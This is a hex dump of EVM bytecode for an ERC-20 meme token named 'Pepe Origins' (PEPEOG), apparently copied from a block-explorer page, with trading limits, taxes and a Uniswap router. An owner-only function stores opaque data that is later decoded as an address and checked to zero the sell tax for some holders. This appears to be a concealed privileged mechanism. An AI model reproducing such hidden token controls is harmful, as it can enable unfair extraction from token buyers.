ffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ce2573d6000803e3d6000fd5b5050565b600060085460105411611cfd576006549050611d29565b600854601054118015611d145750600b5460105411155b15611d23576009549050611d29565b600c5490505b90565b600080831415611d3f5760009050611da1565b60008284611d4d9190612f12565b9050828482611d5c9190612d70565b14611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390612aff565b60405180910390fd5b809150505b92915050565b6000611de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612297565b905092915050565b600060085460105411611e08576007549050611e34565b600854601054118015611e1f5750600b5460105411155b15611e2e57600a549050611e34565b600c5490505b90565b600060178054611e469061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054611e729061305b565b8015611ebf5780601f10611e9457610100808354040283529160200191611ebf565b820191906000526020600020905b815481529060010190602001808311611ea257829003601f168201915b5050505050806020019051810190611ed791906124d5565b905090565b6000818311611eeb5782611eed565b815b905092915050565b6001601860016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f815781602001602082028036833780820191505090505b5090503081600081518110611fbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206157600080fd5b505afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209991906124ac565b816001815181106120d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061213a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161219e959493929190612bfa565b600060405180830381600087803b1580156121b857600080fd5b505af11580156121cc573d6000803e3d6000fd5b50505050506000601860016101000a81548160ff02191690831515021790555050565b60008082846121fe9190612d1a565b905083811015612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90612abf565b60405180910390fd5b8091505092915050565b600061228f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080831182906122de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d59190612a3d565b60405180910390fd5b50600083856122ed9190612d70565b9050809150509392505050565b8280546123069061305b565b90600052602060002090601f016020900481019282612328576000855561236f565b82601f1061234157805160ff191683800117855561236f565b8280016001018555821561236f579182015b8281111561236e578251825591602001919060010190612353565b5b50905061237c9190612380565b5090565b5b80821115612399576000816000905550600101612381565b5090565b60006123b06123ab84612c94565b612c6f565b9050828152602081018484840111156123c857600080fd5b6123d3848285613019565b509392505050565b6000813590506123ea816134fd565b92915050565b6000815190506123ff816134fd565b92915050565b60008151905061241481613514565b92915050565b6000815190506124298161352b565b92915050565b600082601f83011261244057600080fd5b813561245084826020860161239d565b91505092915050565b60008135905061246881613542565b92915050565b60008151905061247d81613542565b92915050565b60006020828403121561249557600080fd5b60006124a3848285016123db565b91505092915050565b6000602082840312156124be57600080fd5b60006124cc848285016123f0565b91505092915050565b6000602082840312156124e757600080fd5b60006124f584828501612405565b91505092915050565b6000806040838503121561251157600080fd5b600061251f858286016123db565b9250506020612530858286016123db565b9150509250929050565b60008060006060848603121561254f57600080fd5b600061255d868287016123db565b935050602061256e868287016123db565b925050604061257f86828701612459565b9150509250925092565b6000806040838503121561259c57600080fd5b60006125aa858286016123db565b92505060206125bb85828601612459565b9150509250929050565b6000602082840312156125d757600080fd5b60006125e58482850161241a565b91505092915050565b60006020828403121561260057600080fd5b600082013567ffffffffffffffff81111561261a57600080fd5b6126268482850161242f565b91505092915050565b60006020828403121561264157600080fd5b600061264f8482850161246e565b91505092915050565b60008060006060848603121561266d57600080fd5b600061267b8682870161246e565b935050602061268c8682870161246e565b925050604061269d8682870161246e565b9150509250925092565b60006126b383836126bf565b60208301905092915050565b6126c881612fa0565b82525050565b6126d781612fa0565b82525050565b60006126e882612cd5565b6126f28185612cf8565b93506126fd83612cc5565b8060005b8381101561272e57815161271588826126a7565b975061272083612ceb565b925050600181019050612701565b5085935050505092915050565b61274481612fc4565b82525050565b61275381613007565b82525050565b600061276482612ce0565b61276e8185612d09565b935061277e818560208601613028565b612787816131c3565b840191505092915050565b600061279f602383612d09565b91506127aa826131e1565b604082019050919050565b60006127c2601983612d09565b91506127cd82613230565b602082019050919050565b60006127e5602283612d09565b91506127f082613259565b604082019050919050565b6000612808601b83612d09565b9150612813826132a8565b602082019050919050565b600061282b604983612d09565b9150612836826132d1565b606082019050919050565b600061284e602183612d09565b915061285982613346565b604082019050919050565b6000612871602083612d09565b915061287c82613395565b602082019050919050565b6000612894602983612d09565b915061289f826133be565b604082019050919050565b60006128b7602583612d09565b91506128c28261340d565b604082019050919050565b60006128da601a83612d09565b91506128e58261345c565b602082019050919050565b60006128fd602483612d09565b915061290882613485565b604082019050919050565b6000612920601783612d09565b915061292b826134d4565b602082019050919050565b61293f81612ff0565b82525050565b61294e81612ffa565b82525050565b600060208201905061296960008301846126ce565b92915050565b600060408201905061298460008301856126ce565b61299160208301846126ce565b9392505050565b60006040820190506129ad60008301856126ce565b6129ba6020830184612936565b9392505050565b600060c0820190506129d660008301896126ce565b6129e36020830188612936565b6129f0604083018761274a565b6129fd606083018661274a565b612a0a60808301856126ce565b612a1760a0830184612936565b979650505050505050565b6000602082019050612a37600083018461273b565b92915050565b60006020820190508181036000830152612a578184612759565b905092915050565b60006020820190508181036000830152612a7881612792565b9050919050565b60006020820190508181036000830152612a98816127b5565b9050919050565b60006020820190508181036000830152612ab8816127d8565b9050919050565b60006020820190508181036000830152612ad8816127fb565b9050919050565b60006020820190508181036000830152612af88161281e565b9050919050565b60006020820190508181036000830152612b1881612841565b9050919050565b60006020820190508181036000830152612b3881612864565b9050919050565b60006020820190508181036000830152612b5881612887565b9050919050565b60006020820190508181036000830152612b78816128aa565b9050919050565b60006020820190508181036000830152612b98816128cd565b9050919050565b60006020820190508181036000830152612bb8816128f0565b9050919050565b60006020820190508181036000830152612bd881612913565b9050919050565b6000602082019050612bf46000830184612936565b92915050565b600060a082019050612c0f6000830188612936565b612c1c602083018761274a565b8181036040830152612c2e81866126dd565b9050612c3d60608301856126ce565b612c4a6080830184612936565b9695505050505050565b6000602082019050612c696000830184612945565b92915050565b6000612c79612c8a565b9050612c85828261308d565b919050565b6000604051905090565b600067ffffffffffffffff821115612caf57612cae613194565b5b612cb8826131c3565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d2582612ff0565b9150612d3083612ff0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6557612d64613107565b5b828201905092915050565b6000612d7b82612ff0565b9150612d8683612ff0565b925082612d9657612d95613136565b5b828204905092915050565b6000808291508390505b6001851115612deb57808604811115612dc757612dc6613107565b5b6001851615612dd65780820291505b8081029050612de4856131d4565b9450612dab565b94509492505050565b6000612dff82612ff0565b9150612e0a83612ffa565b9250612e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3f565b905092915050565b600082612e4f5760019050612f0b565b81612e5d5760009050612f0b565b8160018114612e735760028114612e7d57612eac565b6001915050612f0b565b60ff841115612e8f57612e8e613107565b5b8360020a915084821115612ea657612ea5613107565b5b50612f0b565b5060208310610133831016604e8410600b8410161715612ee15782820a905083811115612edc57612edb613107565b5b612f0b565b612eee8484846001612da1565b92509050818404811115612f0557612f04613107565b5b81810290505b9392505050565b6000612f1d82612ff0565b9150612f2883612ff0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6157612f60613107565b5b828202905092915050565b6000612f7782612ff0565b9150612f8283612ff0565b925082821015612f9557612f94613107565b5b828203905092915050565b6000612fab82612fd0565b9050919050565b6000612fbd82612fd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061301282612ff0565b9050919050565b82818337600083830152505050565b60005b8381101561304657808201518184015260208101905061302b565b83811115613055576000848401525b50505050565b6000600282049050600182168061307357607f821691505b6020821081141561308757613086613165565b5b50919050565b613096826131c3565b810181811067ffffffffffffffff821117156130b5576130b4613194565b5b80604052505050565b60006130c982612ff0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130fc576130fb613107565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61350681612fa0565b811461351157600080fd5b50565b61351d81612fb2565b811461352857600080fd5b50565b61353481612fc4565b811461353f57600080fd5b50565b61354b81612ff0565b811461355657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078fc258865f26954a1dbc92c386a31e12d5a805f87140d880637c7e925ac62b564736f6c63430008040033
Deployed Bytecode
0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146103b0578063c876d0b9146103db578063c9567bf914610406578063dd62ed3e1461041d578063f42938901461045a5761011f565b80637d1db4a5146102c75780638da5cb5b146102f25780638f9a55c01461031d57806395d89b4114610348578063a9059cbb146103735761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780636a943d4a1461024a57806370a0823114610273578063715018a6146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610471565b6040516101469190612a3d565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612589565b6104ae565b6040516101839190612a22565b60405180910390f35b34801561019857600080fd5b506101a16104cc565b6040516101ae9190612bdf565b60405180910390f35b3480156101c357600080fd5b506101cc6104d2565b6040516101d99190612bdf565b60405180910390f35b3480156101ee57600080fd5b506102096004803603810190610204919061253a565b6104f9565b6040516102169190612a22565b60405180910390f35b34801561022b57600080fd5b506102346105d2565b6040516102419190612c54565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906125ee565b6105db565b005b34801561027f57600080fd5b5061029a60048036038101906102959190612483565b610747565b6040516102a79190612bdf565b60405180910390f35b3480156102bc57600080fd5b506102c5610790565b005b3480156102d357600080fd5b506102dc6108e3565b6040516102e99190612bdf565b60405180910390f35b3480156102fe57600080fd5b506103076108e9565b6040516103149190612954565b60405180910390f35b34801561032957600080fd5b50610332610912565b60405161033f9190612bdf565b60405180910390f35b34801561035457600080fd5b5061035d610918565b60405161036a9190612a3d565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190612589565b610955565b6040516103a79190612a22565b60405180910390f35b3480156103bc57600080fd5b506103c5610973565b6040516103d29190612bdf565b60405180910390f35b3480156103e757600080fd5b506103f0610979565b6040516103fd9190612a22565b60405180910390f35b34801561041257600080fd5b5061041b61098c565b005b34801561042957600080fd5b50610444600480360381019061043f91906124fe565b610f12565b6040516104519190612bdf565b60405180910390f35b34801561046657600080fd5b5061046f610f99565b005b60606040518060400160405280600c81526020017f50657065204f726967696e730000000000000000000000000000000000000000815250905090565b60006104c26104bb610fb4565b8484610fbc565b6001905092915050565b60145481565b60006009600a6104e29190612df4565b66017e9d8602b4006104f49190612f12565b905090565b6000610506848484611187565b6105c784610512610fb4565b6105c28560405180606001604052806028815260200161355a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610578610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b610fbc565b600190509392505050565b60006009905090565b6105e3610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612b1f565b60405180910390fd5b6009600a61067e9190612df4565b66017e9d8602b4006106909190612f12565b6011819055506009600a6106a49190612df4565b66017e9d8602b4006106b69190612f12565b60128190555080601790805190602001906106d29291906122fa565b506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61071d9190612df4565b66017e9d8602b40061072f9190612f12565b60405161073c9190612bdf565b60405180910390a150565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610798610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f504550454f470000000000000000000000000000000000000000000000000000815250905090565b6000610969610962610fb4565b8484611187565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b610994610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612b1f565b60405180910390fd5b601860009054906101000a900460ff1615610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890612bbf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610afb9190612df4565b66017e9d8602b400610b0d9190612f12565b610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb291906124ac565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3657600080fd5b505afa158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e91906124ac565b6040518363ffffffff1660e01b8152600401610c8b92919061296f565b602060405180830381600087803b158015610ca557600080fd5b505af1158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd91906124ac565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d6630610747565b600080610d716108e9565b426040518863ffffffff1660e01b8152600401610d93969594939291906129c1565b6060604051808303818588803b158015610dac57600080fd5b505af1158015610dc0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de59190612658565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e87929190612998565b602060405180830381600087803b158015610ea157600080fd5b505af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906125c5565b506000601860026101000a81548160ff0219169083151502179055506001601860006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60004790506000811115610fb157610fb081611c7a565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612a9f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117a9190612bdf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612b5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612a5f565b60405180910390fd5b600081116112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190612b3f565b60405180910390fd5b6000808290506112b86108e9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561132657506112f66108e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611958576113c860646113ba6113ab611ce6565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b9150600560009054906101000a900460ff161561155757601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115565743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612adf565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116025750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116585750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611713576011548311156116a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169990612a7f565b60405180910390fd5b601254836116af86610747565b6116b99190612d1a565b11156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612b7f565b60405180910390fd5b6010600081548092919061170d906130be565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561179c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156117d1576117ce60646117c06117b1611df1565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b91505b60006117dc30610747565b905060006117e8611e37565b73ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b81526004016118209190612954565b60206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611870919061262f565b141561187b57600091505b601860019054906101000a900460ff161580156118e55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156118fd5750601860029054906101000a900460ff165b801561190a575060135481115b80156119195750600f54601054115b156119565761193b6119368561193184601454611edc565b611edc565b611ef5565b60004790506013548111156119545761195347611c7a565b5b505b505b6000821115611a5c576119b382600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a539190612bdf565b60405180910390a35b611aae81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b55611b07838561224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611bfa858761224d90919063ffffffff16565b604051611c079190612bdf565b60405180910390a35050505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612a3d565b60405180910390fd5b5060008385611c6d9190612f6c565b9050809150509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ce2573d6000803e3d6000fd5b5050565b600060085460105411611cfd576006549050611d29565b600854601054118015611d145750600b5460105411155b15611d23576009549050611d29565b600c5490505b90565b600080831415611d3f5760009050611da1565b60008284611d4d9190612f12565b9050828482611d5c9190612d70565b14611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390612aff565b60405180910390fd5b809150505b92915050565b6000611de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612297565b905092915050565b600060085460105411611e08576007549050611e34565b600854601054118015611e1f5750600b5460105411155b15611e2e57600a549050611e34565b600c5490505b90565b600060178054611e469061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054611e729061305b565b8015611ebf5780601f10611e9457610100808354040283529160200191611ebf565b820191906000526020600020905b815481529060010190602001808311611ea257829003601f168201915b5050505050806020019051810190611ed791906124d5565b905090565b6000818311611eeb5782611eed565b815b905092915050565b6001601860016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f815781602001602082028036833780820191505090505b5090503081600081518110611fbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206157600080fd5b505afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209991906124ac565b816001815181106120d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061213a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161219e959493929190612bfa565b600060405180830381600087803b1580156121b857600080fd5b505af11580156121cc573d6000803e3d6000fd5b50505050506000601860016101000a81548160ff02191690831515021790555050565b60008082846121fe9190612d1a565b905083811015612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90612abf565b60405180910390fd5b8091505092915050565b600061228f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080831182906122de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d59190612a3d565b60405180910390fd5b50600083856122ed9190612d70565b9050809150509392505050565b8280546123069061305b565b90600052602060002090601f016020900481019282612328576000855561236f565b82601f1061234157805160ff191683800117855561236f565b8280016001018555821561236f579182015b8281111561236e578251825591602001919060010190612353565b5b50905061237c9190612380565b5090565b5b80821115612399576000816000905550600101612381565b5090565b60006123b06123ab84612c94565b612c6f565b9050828152602081018484840111156123c857600080fd5b6123d3848285613019565b509392505050565b6000813590506123ea816134fd565b92915050565b6000815190506123ff816134fd565b92915050565b60008151905061241481613514565b92915050565b6000815190506124298161352b565b92915050565b600082601f83011261244057600080fd5b813561245084826020860161239d565b91505092915050565b60008135905061246881613542565b92915050565b60008151905061247d81613542565b92915050565b60006020828403121561249557600080fd5b60006124a3848285016123db565b91505092915050565b6000602082840312156124be57600080fd5b60006124cc848285016123f0565b91505092915050565b6000602082840312156124e757600080fd5b60006124f584828501612405565b91505092915050565b6000806040838503121561251157600080fd5b600061251f858286016123db565b9250506020612530858286016123db565b9150509250929050565b60008060006060848603121561254f57600080fd5b600061255d868287016123db565b935050602061256e868287016123db565b925050604061257f86828701612459565b9150509250925092565b6000806040838503121561259c57600080fd5b60006125aa858286016123db565b92505060206125bb85828601612459565b9150509250929050565b6000602082840312156125d757600080fd5b60006125e58482850161241a565b91505092915050565b60006020828403121561260057600080fd5b600082013567ffffffffffffffff81111561261a57600080fd5b6126268482850161242f565b91505092915050565b60006020828403121561264157600080fd5b600061264f8482850161246e565b91505092915050565b60008060006060848603121561266d57600080fd5b600061267b8682870161246e565b935050602061268c8682870161246e565b925050604061269d8682870161246e565b9150509250925092565b60006126b383836126bf565b60208301905092915050565b6126c881612fa0565b82525050565b6126d781612fa0565b82525050565b60006126e882612cd5565b6126f28185612cf8565b93506126fd83612cc5565b8060005b8381101561272e57815161271588826126a7565b975061272083612ceb565b925050600181019050612701565b5085935050505092915050565b61274481612fc4565b82525050565b61275381613007565b82525050565b600061276482612ce0565b61276e8185612d09565b935061277e818560208601613028565b612787816131c3565b840191505092915050565b600061279f602383612d09565b91506127aa826131e1565b604082019050919050565b60006127c2601983612d09565b91506127cd82613230565b602082019050919050565b60006127e5602283612d09565b91506127f082613259565b604082019050919050565b6000612808601b83612d09565b9150612813826132a8565b602082019050919050565b600061282b604983612d09565b9150612836826132d1565b606082019050919050565b600061284e602183612d09565b915061285982613346565b604082019050919050565b6000612871602083612d09565b915061287c82613395565b602082019050919050565b6000612894602983612d09565b915061289f826133be565b604082019050919050565b60006128b7602583612d09565b91506128c28261